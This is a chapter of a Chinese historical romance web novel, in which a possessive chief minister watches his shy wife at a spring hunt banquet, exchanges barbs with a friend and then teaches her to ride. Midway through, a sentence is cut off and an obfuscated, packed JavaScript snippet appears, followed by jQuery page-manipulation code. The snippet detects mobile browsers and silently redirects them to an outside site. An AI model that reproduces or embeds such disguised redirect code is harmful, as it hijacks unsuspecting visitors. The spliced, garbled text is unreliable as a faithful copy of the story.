萧执聿自入座以后,就一直注意着这边的动静。
害怕苏绾缡又像上一次一样被人攀扯灌酒,神志不清又被有心之人引走。
但好在今日,各朝臣夫人都极为有分寸,并没有来打扰苏绾缡。
萧执聿觉得给那些官员的警告总算有点作用。
只是,看着苏绾缡一个人坐在案前,其他周边的夫人小姐都有人说话,萧执聿又开始怀疑自己的做法是否正确。
她会无聊吗?
会觉得委屈吗?
会难受吗?
想到这些,萧执聿心脏涩疼了一下。
他突然就要站起身,往苏绾缡那里走去,顾不得礼法,他想要陪着她。
可是人还没有站起,萧执聿却见苏绾缡似与程清渺玩起了游戏。
看着她像逗孩子一样抓住程清渺的马脚,看着她近距离地与程清渺说话,最后再看到她流露出那样狡黠肆意不防备人的微笑,萧执聿还未平复的心脏猛烈跳动了一拍,紧随其后的,是犹如涓涓细流一般涌出的酸涩胀意。
那样明媚的笑容是她在他面前从未展颜过的模样。
她在他面前,永远是小心翼翼的,客气疏离的。
萧执聿觉得心里有一口气堵着。
酸涩胀意席卷着满心满肺的嫉妒,齐齐涌上他的大脑,渗进他的眼眸。
他死死盯着那处,森寒的眸子似雪地里的饿狼,暗中窥伺着自己的猎物。
你不知道它还有多久的耐心,还甘愿蛰伏多久。不清楚什么它就能猝然奔起,一击致命咬断猎物的脖子。
萧执聿冷白指尖慢悠悠敲打在桌面上,一声一声的叩响犹如催命的亡符,叫人脊背发寒。
有那么多话讲吗?
在讲什么?
为什么不和他说?
萧执聿蹙起了眉头,耐心似乎即将告罄。
宋先禾是最先感受到萧执聿的变化的人。
他吊儿郎当地坐在案后,觉得这歌舞实在无趣得紧。随手捻起了一粒花生米扔进了嘴里,顺着萧执聿的眸光看了过去。
从一入座,眼神就没移开过。
刚不是还好好的吗?现在怎么突然这副模样?
宋先禾看了过去,轻乐了一声,“怎么,这么久了,新婚劲儿还没有过去?”
“不过就是跟旁人说句话,还是女子,你瞧你什么样?”
宋先禾啧啧出声,大有一副要对萧执聿这般不成器样子的捶胸顿足之势。
萧执聿不说话,也没有转头要看他的意思。
一向习惯了萧执聿这副寒冰模样的宋先禾觉得自己还是不能忍受萧执聿这般无视他,想起昨日夜里他跑来自己营帐里沐浴的事情,宋先禾决心呛一下他。
于是很不客气,大有伤在哪儿,盐就往哪撒的架势说道,“怎么?昨日和尊夫人吵架了?”
话落,萧执聿终于有了反应,他侧头望来。
那双幽寂的眸子里泛出渗人的寒光来,隐有杀人于无形的意味。
如果说方才瞧着苏绾缡的眸光是带着诱捕的心思,那么此刻便是彻底想要撕碎眼前之人。
宋先禾被盯得后背发凉打了一个寒颤,暗悔自己为何要多这一嘴。
他立马坐直了身子,笑得谄媚,“大人与夫人自然是恩爱有加,艳羡常人。怎会吵架?”
他说着拍了拍自己的嘴,“瞧我这嘴,该打!”
萧执聿盯着他,不为所动,他目光幽幽从他身上扫过,最后又转过来头去,落下一句,“你没成婚,自然不懂。”
回答的是方才宋先禾询问的第一句。
不懂?
不懂!?
宋先禾觉得萧执聿这是在侮辱他。
他,宋先禾,翰林院编修,上京城中有名的风月才子。试问整个上京城,有多少女子不败在他的文采之下。
秦楼楚馆,市井坊巷,无论是歌伎乐工,还是下里巴人,谁不传唱他的作词?
他会不懂?
宋先禾不知道萧执聿有什么好得意的,成亲了又如何,人家心在他那里吗?他就炫耀。
不过这话,宋先禾是万万不敢直接说出来的。
他气闷的将杯中的酒一饮而尽,暗暗下定决心,回去再写两篇诗词大力传唱!
难捱的宴席终于结束,萧执聿立马起身大步朝着苏绾缡那边走去。连身后的宋先禾都顾不上。
拥挤如潮的人群里,萧执聿准确无误抓住了苏绾缡的手。
“去哪儿?”
他睨眼瞧着她,眸光如炬地盯着苏绾缡,不放过她脸上任何一个表情。
“回营帐。”
苏绾缡低着头,说话温声细语,如同上京城中所有世家礼仪规戒出的贵女一般,僵硬得没有灵魂,哪里还见得了半分方才在程清渺面前的模样。
萧执聿眼眸暗了一瞬,涩疼地扯了扯嘴角。
他早就知道了不是吗?
她怕自己。
“去骑马吗?”
萧执聿再抬眼,眸色恢复正常,就连嗓音也如平常一般清倦淡雅。
·
宴席散场,也就代表着春狩宴首日的集体活动结束。
圣上仁厚,叫众人不必拘束,只管自个儿去玩便是。
于是偌大的驺虞山,众人三三两两散开,有的回了营帐歇息,又的入了林地探查地势。
手无缚鸡之力的公子贵女,则相携着吟诗诵唱,持笔作画这大胤美景。
而萧执聿则带着苏绾缡去了平地上骑马。
春狩宴毕竟是一场狩猎,世家贵女也少不得上场,即便只是射中一条兔子,亦能被京中传唱。
萧执聿倒不是要苏绾缡为他长脸什么,只是,想要寻着一个由头和苏绾缡待在一处。
否则,每日案牍劳形的萧首辅哪里有时间愿意教一个什么都不懂的女子骑马。
苏绾缡从来没有骑过马,但好在萧执聿为她选的这匹,是一头刚成年的雌马,很是温良。
通体雪白,只额头上一点梅红,好看得紧。
萧执聿牵着马在苏绾缡面前站定,“它叫踏雪。性子很好,你摸摸它。”
萧执聿松开轻拍踏雪头的手,微微侧身让开位置给苏绾缡,示意她可以顺着它额上的长毛摸一摸它。
苏绾缡抬手,试探性地抚摸上,踏雪像是有灵性似的,立马弯下了自己的脖子,将头埋得更低了些,好叫苏绾缡能够摸得更顺手。
苏绾缡被这样的举动一惊,立马又升起欣喜,眼睛一下亮了起来。
瞧着踏雪这样听话的模样,唇边忍不住扬起笑意。
萧执聿看着她这副模样,唇角轻弯了弯。
平素里漆寒的眸子此刻如同破冰的河面,露出里面涓涓流淌的细流。
“它很喜欢你。”
萧执聿说道,声音不自觉都轻柔了几分。
苏绾缡闻声抬头,她看着萧执聿点了点头,眼底的喜意还未散去,明媚生动的模样就这样第一次展露在萧执聿面前。
萧执聿看着她,方才对程清渺的嫉妒总算是消散了一点。他不贪心,至少此刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383383|168498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他也瞧见了苏绾缡发自内心的笑容。
在他面前,她终于不是刻意的拘谨,保持着疏离的模样了。
“要不要坐一坐?”
眼见一人一马彼此已经适应得差不多,萧执聿提议道。
苏绾缡抬头看着萧执聿,眸里有跃跃欲试,可也带着些许胆怯。
她真的可以试一试吗?
萧执聿看着她,狭长的眸子微扬,眼底快速滑过一抹不易被人察觉的笑意。
再看时只一双黑漆的眸子透着一股让人不自觉安心的信服,“放心,我在。”
·
苏绾缡是被萧执聿抱上了马,天旋地转只一瞬之间,苏绾缡就平稳地落坐在了马鞍上。萧执聿坐在她的身后,滚烫的胸膛烫得苏绾缡立马僵直了脊背,坐正了身子。
“大人,不是我自己骑吗?”
苏绾缡怎么也没有想到,居然是跟萧执聿一起骑同一匹马,还挨得这样近。
她不自在极了,浑身绷直得像块木头。
萧执聿垂眼看着身前的人,“你自己骑,要学到猴年马月?”
苏绾缡被说得脸红,她扭了扭身子要下去,“那我不学了。”
萧执聿眼神沉了沉。
“嘶!”突然,马儿发出嘶鸣,一个扬蹄,苏绾缡浑身不稳,顺着重力往后倒了过去,彻底撞进了萧执聿的怀里。
冷冽雪松香袭来,男人温热的气息包裹,即便是在如此严峻的情况下,苏绾缡心漏了一拍,却也下意识觉得安心。
萧执聿轻扯缰绳,马儿听话地落蹄,稳稳立在了地面上。
“早叫你抓稳了。”萧执聿垂着眼看她。
苏绾缡被这话斥得面红耳赤,是她不该乱动。“是,大人。”
苏绾缡这一次不再扭捏,她伸手握住萧执聿圈着她的手臂上的衣袖,拽得紧紧的。
只是身子还是崩得直。
刻意和他拉开着距离。
萧执聿轻扯了扯嘴角,笑意透着凉薄。他手上拉着缰绳的手一弯,马蹄骤然加速,苏绾缡猝不及防得又跌落进萧执聿的怀里,撞得人生疼。
“别动。”
头顶处传来萧执聿的声音,清冽嗓音落耳,激起一阵酥麻。
苏绾缡不敢再动了,仍由萧执聿缩小了臂圈,将自己怀抱在内。
苏绾缡想,自己还是不要给萧执聿惹麻烦得好。
见着苏绾缡终于乖巧地窝在自己怀里,不再故意拉开距离,萧执聿微勾了勾嘴角。
他轻勒缰绳,马蹄在原地浅浅踱了踱,就着青草地,缓缓上前。
他看着前方,从未觉得骑马是一件这样美妙的事情。第一次体会到诗词中所说,“春风得意马蹄疾”是何滋味。
饶是当年高中状元时,他也并未有今日这般想要“一日看尽长安花”的得意畅快。
驺虞山上,视角广阔,重山叠嶂,连绵万里。
太阳直挂九重霄,射破云层,直射下万道霞光。
树影摇曳,却挡不住太阳,远山之间云雾飘渺,彩色金光将树尖渡上一层金色,随风晃动间,像是打碎了星河。
苏绾缡从未想过,原来坐在马匹上,或者说,原来抬起头来看,见到的是这样的风光。
即便是孟春,太阳依旧不甚炎热,春风拂面还带着丝丝缕缕的凉气。
它卷过万重山,踏遍悬崖地,路过山涧河流,挟着微微的湿气与青草的味道袭进苏绾缡的鼻尖,叫她不自觉眯了眯眼,彻底放松了下来。
全然忘记了身后贴着的滚烫的人。